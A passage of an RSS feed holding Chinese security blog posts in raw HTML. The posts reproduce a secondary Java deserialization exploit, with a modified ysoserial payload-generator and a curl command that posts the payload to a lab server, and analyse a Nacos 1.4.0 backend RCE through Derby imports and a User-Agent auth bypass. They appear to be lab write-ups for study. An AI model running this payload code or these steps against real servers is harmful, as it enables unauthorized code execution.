New Roman&#34;, serif;"><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">curl --data-binary @g.bin <a href="http://192.168.3.168:8080/webroot/decision/remote/design/channel" target="_blank">http://192.168.3.168:8080/webroot/decision/remote/design/channel</a></span></code></p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;"><span leaf="">二次反序列化漏洞复现</span></h2><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">在readParams方法中，存在二次反序列化</span></p><section style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img data-imgfileid="100002050" class="rich_pages wxw-img" data-ratio="0.39166666666666666" data-type="png" data-w="1080" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 355px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=f588c14b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1cfhVzXXAr9FibQhP6DWjLD5sxibK3acamUjh8YJcNVTgGq08icyAiau9QVM0dJicXPk6gtrH34uS8gF4w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">修改</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">PayloadRunner</span></code><span leaf="">的</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">run</span></code><span leaf="">方法</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><code><span leaf=""><span class="code-snippet__keyword">public</span><span class="code-snippet__plaintext"> static void run(final </span><span class="code-snippet__title">Class</span><span class="code-snippet__plaintext">&lt;? extends </span><span class="code-snippet__title">ObjectPayload</span><span class="code-snippet__plaintext">&lt;</span><span class="code-snippet__string">?&gt;</span><span class="code-snippet__plaintext">&gt; clazz, final </span><span class="code-snippet__title">String</span><span class="code-snippet__plaintext">[] args) throws </span><span class="code-snippet__title">Exception</span><span class="code-snippet__plaintext"> {</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        /</span><span class="code-snippet__regexp">/ ensure payload generation doesn&#39;t throw an exception</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        byte[] serialized = new ExecCheckingSecurityManager().callWrapped(new Callable&lt;byte[]&gt;() {</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">            public byte[] call() throws Exception {</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">                final String command = args.length &gt; 0 &amp;&amp; args[0] != null ? args[0] : getDefaultTestCmd();</span></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__plaintext">                System.out.println(&#34;generating payload object(s) for command: &#39;&#34; + command + &#34;&#39;&#34;);</span></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__plaintext">                ObjectPayload&lt;?&gt; payload = clazz.newInstance();</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">                final Object objBefore = payload.getObject(command);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">                System.out.println(&#34;serializing payload&#34;);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">                byte[] ser = Serializer.serialize(objBefore);</span></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__plaintext">                /</span><span class="code-snippet__regexp">/FileOutputStream fileOutputStream = new FileOutputStream(&#34;test.bin&#34;);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">                /</span><span class="code-snippet__regexp">/InvocationSerializer invocationSerializer = new InvocationSerializer(null);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">                /</span><span class="code-snippet__regexp">/Method method = invocationSerializer.getClass().getDeclaredMethod(&#34;writeParams&#34;, Object[].class);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">                /</span><span class="code-snippet__regexp">/method.setAccessible(true);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">                /</span><span class="code-snippet__regexp">/Object[] myArgs = new Object[1];</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">                /</span><span class="code-snippet__regexp">/myArgs[0] = objBefore;</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">                /</span><span class="code-snippet__regexp">/method.invoke(myArgs);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">                /</span><span class="code-snippet__regexp">/fileOutputStream.write(Serializer.serialize(invocationSerializer));</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">                /</span><span class="code-snippet__regexp">/fileOutputStream.close();</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">                /</span><span class="code-snippet__regexp">/InvocationPack invocationPack = new InvocationPack()</span></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__plaintext">                Class&lt;?&gt;[] innerClasses = InvocationSerializer.class.getDeclaredClasses();</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">                Class&lt;?&gt; innerClass = null;</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">                for (Class&lt;?&gt; cls : innerClasses) {</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">                    if (cls.getSimpleName().equals(&#34;InvocationPack&#34;)) {</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">                        innerClass = cls;</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">                    }</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">                }</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">                Constructor&lt;?&gt; constructor = innerClass.getDeclaredConstructor(String.class, String.class, Class[].class, byte[][].class);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">                constructor.setAccessible(true);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">                InvocationSerializer invocationSerializer = new InvocationSerializer(null);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">                byte[] s = ser;</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">                byte[][] b = new byte[1][];</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">                b[0] = new byte[ser.length];</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">                System.arraycopy(ser, 0, b[0], 0, ser.length);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">                Class[] c = new Class[]{String.class};</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">                Object innerObject = constructor.newInstance( &#34;a&#34;, &#34;a&#34;, c, b);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">                /</span><span class="code-snippet__regexp">/byte[] ser2 = Serializer.serialize(innerObject);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">                /</span><span class="code-snippet__regexp">/FileOutputStream fileOutputStream = new FileOutputStream(&#34;2test.bin&#34;);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">                /</span><span class="code-snippet__regexp">/fileOutputStream.write(ser2);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">                Map map = new HashMap&lt;String,String&gt;();</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">                /</span><span class="code-snippet__regexp">/fileOutputStream.write(Serializer.serialize(map));</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">                /</span><span class="code-snippet__regexp">/fileOutputStream.close();</span></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__plaintext">                ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(&#34;object.txt&#34;));</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">                oos.writeObject(innerObject);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">                oos.writeObject(map);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">                Utils.releasePayload(payload, objBefore);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">                return ser;</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">            }</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        });</span></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__plaintext">        try {</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">            System.out.println(&#34;deserializing payload&#34;);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">            final Object objAfter = Deserializer.deserialize(serialized);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        } catch (Exception e) {</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">            e.printStackTrace();</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        }</span></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__plaintext">    }</span></span></code></pre></section><section><span leaf=""><br/></span></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485701">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e9451cb7&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU5MTExMjYwMA%3D%3D%26mid%3D2247485701%26idx%3D1%26sn%3D668e8f8056e8407ee9d22479bddeba41%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 07 Jan 2025 16:22:00 +0800</pubDate>
    </item>
    <item>
      <title>nacos_后台rce分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU5MTExMjYwMA==&amp;mid=2247485685&amp;idx=1&amp;sn=41fef7adb41d79dee22e702880262df9</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>kkk mr</span> <span>2024-07-29 00:06</span> <span style="display: inline-block;">浙江</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=b694d61a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FnoZJ3Kqbu1cicoZicmxMRT2JxpMVuJ88bOZKVE3bu2aSZXd0cmzzIQJ9BnReNoNic5fTfoLz2HQx4cwmDKDV7a9kQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 style="margin: 80px 10px 40px;letter-spacing: normal;text-wrap: wrap;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;">环境搭建</h2><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">适用 vulhub这个项目来启动漏洞环境</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">vulhub的nacos版本是 1.4.0，通过github下载源代码</p><blockquote style="margin: 20px 10px;padding-top: 1px;padding-bottom: 1px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(91, 91, 91);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;background: rgba(158, 158, 158, 0.1);border-left-color: rgb(158, 158, 158);"><p style="margin: 10px;color: rgb(63, 63, 63);line-height: 1.6;"><a href="https://github.com/alibaba/nacos/tree/1.4.0" target="_blank">https://github.com/alibaba/nacos/tree/1.4.0</a></p></blockquote><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">因为vulhub已经默认开放了debug端口，所以直接自己idea jvm远程调试即可</p><h2 style="margin: 80px 10px 40px;letter-spacing: normal;text-wrap: wrap;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;">漏洞分析</h2><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">从 poc来看 问题出在 <code style="padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">/nacos/v1/cs/ops/data/removal</code> 和 <code style="padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">/nacos/v1/cs/ops/derby</code> 这两个接口</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">removal 代码位于 <code style="padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">config/src/main/java/com/alibaba/nacos/config/server/controller/ConfigOpsController.java:133</code></p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">importDerby方法使用了<code style="padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">Secured</code>注解进行保护</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">Secured注解的实现在 <code style="padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">com/alibaba/nacos/core/auth/AuthFilter.java:88</code></p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">首先判断了有没有开启认证，如果没有开启就直接pass</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">如果开启了认证 还会判断 ua是否是 Nacos-Server开头，如果是的话就pass。这就是前几年的未授权漏洞的根源</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">在vuln 中的nacos是没有开启auth的，所以无需关注认证</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-imgfileid="100002032" data-ratio="0.4398976982097187" title="null" data-type="png" data-w="2346" style="margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 355px;" src="https://wechat2rss.xlab.app/img-proxy/?k=ecefe23a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1cicoZicmxMRT2JxpMVuJ88bOWUAIcY4tmrTACHZnTmwYXicaUF27c5l55txfekeYtsWu8nytOsEBAnQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">漏洞接口代码</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang=""><code><span class="code-snippet_outer">    @PostMapping(value = &#34;/data/removal&#34;)</span></code><code><span class="code-snippet_outer">    @Secured(action = ActionTypes.WRITE, resource = &#34;nacos/admin&#34;)</span></code><code><span class="code-snippet_outer">    public DeferredResult&lt;RestResult&lt;String&gt;&gt; importDerby(@RequestParam(value = &#34;file&#34;) MultipartFile multipartFile) {</span></code><code><span class="code-snippet_outer">        DeferredResult&lt;RestResult&lt;String&gt;&gt; response = new DeferredResult&lt;&gt;();</span></code><code><span class="code-snippet_outer">        if (!PropertyUtil.isEmbeddedStorage()) {</span></code><code><span class="code-snippet_outer">            response.setResult(RestResultUtils.failed(&#34;Limited to embedded storage mode&#34;));</span></code><code><span class="code-snippet_outer">            return response;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        DatabaseOperate databaseOperate = ApplicationUtils.getBean(DatabaseOperate.class);</span></code><code><span class="code-snippet_outer">        WebUtils.onFileUpload(multipartFile, file -&gt; {</span></code><code><span class="code-snippet_outer">            NotifyCenter.publishEvent(new DerbyImportEvent(false));</span></code><code><span class="code-snippet_outer">            databaseOperate.dataImport(file).whenComplete((result, ex) -&gt; {</span></code><code><span class="code-snippet_outer">                NotifyCenter.publishEvent(new DerbyImportEvent(true));</span></code><code><span class="code-snippet_outer">                if (Objects.nonNull(ex)) {</span></code><code><span class="code-snippet_outer">                    response.setResult(RestResultUtils.failed(ex.getMessage()));</span></code><code><span class="code-snippet_outer">                    return;</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">                response.setResult(result);</span></code><code><span class="code-snippet_outer">            });</span></code><code><span class="code-snippet_outer">        }, response);</span></code><code><span class="code-snippet_outer">        return response;</span></code><code><span class="code-snippet_outer">    }</span></code></pre></section><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">接受一个文件，临时储存在/tmp目录下，</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">然后调用<code style="padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">databaseOperate.dataImport</code>方法进行导入，然后继续调用父类的doDataImport方法进行导入</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-imgfileid="100002031" data-ratio="0.434010152284264" title="null" data-type="png" data-w="2364" style="margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 355px;" src="https://wechat2rss.xlab.app/img-proxy/?k=b4fe5f12&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1cicoZicmxMRT2JxpMVuJ88bOlUpMwkf6C9ZottddaSBicWw3cu5HA0HNL8b3hsc6icSUibgSq20gskZWQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">继续调用，在batchUpdate执行了sql语句</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-imgfileid="100002030" data-ratio="0.19922630560928434" title="null" data-type="png" data-w="2068" style="margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 355px;" src="https://wechat2rss.xlab.app/img-proxy/?k=a83fc3ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1cicoZicmxMRT2JxpMVuJ88bOGugLjtXDBsxSYr4NEtfdT8D555ziaLc9R8vwB4LIPU8SMIChIUb5W8g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">这里调用的是spring中的template库来执行sql语句，template中的jdbcurl是</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><code style="padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">jdbc:derby:/opt/nacos/data/derby-data;create=true</code></p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">derby 是一个开源的关系型数据库，是嵌入式数据库。于java中H2类似</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">相关参考文档:</p><blockquote style="margin: 20px 10px;padding-top: 1px;padding-bottom: 1px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(91, 91, 91);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;background: rgba(158, 158, 158, 0.1);border-left-color: rgb(158, 158, 158);"><p style="margin: 10px;color: rgb(63, 63, 63);line-height: 1.6;"><a href="https://db.apache.org/derby/docs/10.17/devguide/rdevdeploy856845.html" target="_blank">https://db.apache.org/derby/docs/10.17/devguide/rdevdeploy856845.html</a></p><p style="margin: 10px;color: rgb(63, 63, 63);line-height: 1.6;"><a href="https://db.apache.org/derby/docs/10.17/devguide/cdevdeploy21645.html" target="_blank">https://db.apache.org/derby/docs/10.17/devguide/cdevdeploy21645.html</a></p></blockquote><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">可以通过远程安装一个java包，将一个或多个 jar 文件添加到数据库后，必须通过在 derby.database.classpath 属性中包含一个或多个 jar 文件来设置数据库 jar 类路径，以使 Derby 能够从 jar 文件加载类。</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">然后创建一个自定义函数，这个select 这个自定义函数来触发命令执行</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><code style="padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: 